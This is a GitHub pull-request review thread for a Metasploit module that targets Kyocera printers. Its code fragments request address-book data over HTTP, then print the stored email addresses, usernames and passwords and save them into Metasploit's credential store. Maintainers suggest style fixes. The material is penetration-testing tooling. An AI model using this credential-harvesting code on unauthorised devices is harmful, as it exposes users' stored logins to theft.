-
Notifications
You must be signed in to change notification settings - Fork 14k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Kyocera module #19520
base: master
Are you sure you want to change the base?
Kyocera module #19520
Conversation
Is this ready for review and testing or is it a WIP? I don't have a test server handy to verify my suspicion but I don't see where the address book information is extracted and either saved to disk, the database or printed for the user to see. L79 makes it seem like this might be a work in progress and if that's the case we can switch it to a draft while you work on it and ask any questions about things you need help with. Thanks for the PR! |
I've tested it and it works - just tested it on a client network. Can
provide redacted screenshots if needed.
…On Mon, Sep 30, 2024 at 3:23 PM Spencer McIntyre ***@***.***> wrote:
Is this ready for review and testing or is it a WIP? I don't have a test
server handy to verify my suspicion but I don't see where the address book
information is extracted and either saved to disk, the database or printed
for the user to see. L79 makes it seem like this might be a work in
progress and if that's the case we can switch it to a draft while you work
on it and ask any questions about things you need help with.
Thanks for the PR!
—
Reply to this email directly, view it on GitHub
<#19520 (comment)>,
or unsubscribe
<https://github.com/notifications/unsubscribe-auth/AOM2TZQJ24BR3INB3E5NUELZZGQJXAVCNFSM6AAAAABPD5O5UCVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDGOBTHE4DEMZQGA>
.
You are receiving this because you authored the thread.Message ID:
***@***.***>
--
*AJ Hammond, PNPT, CRTO, OSCP, BSCP*
Offensive Security Engineer II
Praetorian
724-977-7526 direct
<https://www.praetorian.com/>
<https://praetorianlabs.atlassian.net/wiki/label/IT/kb-how-to-article>
|
end | ||
|
||
def extract_enum_id(body) | ||
xml_doc = Nokogiri::XML(body) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
xml_doc = Nokogiri::XML(body) | |
xml_doc = res.get_xml_document |
end | ||
end | ||
|
||
def extract_enum_id(body) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
def extract_enum_id(body) | |
def extract_enum_id(res) |
|
||
if res.code == 200 | ||
print_good("Enumeration creation successful on #{ip}") | ||
enum_id = extract_enum_id(res.body) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
enum_id = extract_enum_id(res.body) | |
enum_id = extract_enum_id(res) |
'data' => create_enum_body | ||
}) | ||
|
||
if res && res.code == 200 |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
if res && res.code == 200 | |
if res&.code == 200 |
if res && res.code == 200 | ||
parse_response(res.body) | ||
else | ||
print_error("Failed to retrieve address book information from #{ip}") | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
if res && res.code == 200 | |
parse_response(res.body) | |
else | |
print_error("Failed to retrieve address book information from #{ip}") | |
end | |
if res&.code != 200 | |
print_error("Failed to retrieve address book information from #{ip}") | |
return | |
end | |
parse_response(res.body) |
print_good("Enumeration creation successful on #{ip}") | ||
enum_id = extract_enum_id(res.body) | ||
|
||
if enum_id |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
You might want to invert this condition to reduce the nested indentations level.
if addresses.empty? | ||
print_error("No address book entries found.") | ||
else | ||
addresses.each do |address| | ||
email = address&.text # using `kmaddrbook:address` for email | ||
login_name = address.at_xpath('kmaddrbook:login_name')&.text | ||
login_password = address.at_xpath('kmaddrbook:login_password')&.text | ||
name = address.at_xpath('kmaddrbook:name_information')&.text | ||
|
||
# Only print relevant information: email, login name, and password | ||
print_good("Email: #{email}") if email | ||
print_good("Name: #{name}") if name | ||
print_good("Username: #{login_name}") if login_name | ||
print_good("Password: #{login_password}") if login_password | ||
|
||
# Store credentials in Metasploit's credential database if login credentials are found | ||
if login_name && login_password | ||
credential_data = { | ||
origin_type: :service, | ||
module_fullname: fullname, | ||
username: login_name, | ||
private_data: login_password, | ||
private_type: :password, | ||
address: rhost, | ||
port: rport, | ||
service_name: 'http', | ||
protocol: 'tcp' | ||
} | ||
|
||
create_credential(credential_data) | ||
end | ||
end | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
if addresses.empty? | |
print_error("No address book entries found.") | |
else | |
addresses.each do |address| | |
email = address&.text # using `kmaddrbook:address` for email | |
login_name = address.at_xpath('kmaddrbook:login_name')&.text | |
login_password = address.at_xpath('kmaddrbook:login_password')&.text | |
name = address.at_xpath('kmaddrbook:name_information')&.text | |
# Only print relevant information: email, login name, and password | |
print_good("Email: #{email}") if email | |
print_good("Name: #{name}") if name | |
print_good("Username: #{login_name}") if login_name | |
print_good("Password: #{login_password}") if login_password | |
# Store credentials in Metasploit's credential database if login credentials are found | |
if login_name && login_password | |
credential_data = { | |
origin_type: :service, | |
module_fullname: fullname, | |
username: login_name, | |
private_data: login_password, | |
private_type: :password, | |
address: rhost, | |
port: rport, | |
service_name: 'http', | |
protocol: 'tcp' | |
} | |
create_credential(credential_data) | |
end | |
end | |
end | |
if addresses.empty? | |
print_error("No address book entries found.") | |
return | |
end | |
addresses.each do |address| | |
email = address&.text # using `kmaddrbook:address` for email | |
login_name = address.at_xpath('kmaddrbook:login_name')&.text | |
login_password = address.at_xpath('kmaddrbook:login_password')&.text | |
name = address.at_xpath('kmaddrbook:name_information')&.text | |
# Only print relevant information: email, login name, and password | |
vprint_good("Email: #{email}") if email | |
vprint_good("Name: #{name}") if name | |
vprint_good("Username: #{login_name}") if login_name | |
vprint_good("Password: #{login_password}") if login_password | |
if login_name && login_password | |
create_credential({ | |
origin_type: :service, | |
module_fullname: fullname, | |
username: login_name, | |
private_data: login_password, | |
private_type: :password, | |
address: rhost, | |
port: rport, | |
service_name: 'http', | |
protocol: 'tcp' | |
}) | |
end | |
end |
@@ -0,0 +1,27 @@ | |||
## Vulnerable Application |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
It might be a good idea to refer to some off our other module docs and add console outputs snippets and so on.
Added unique branch, added Kyocera module with documentation, ran msftidy and rubocop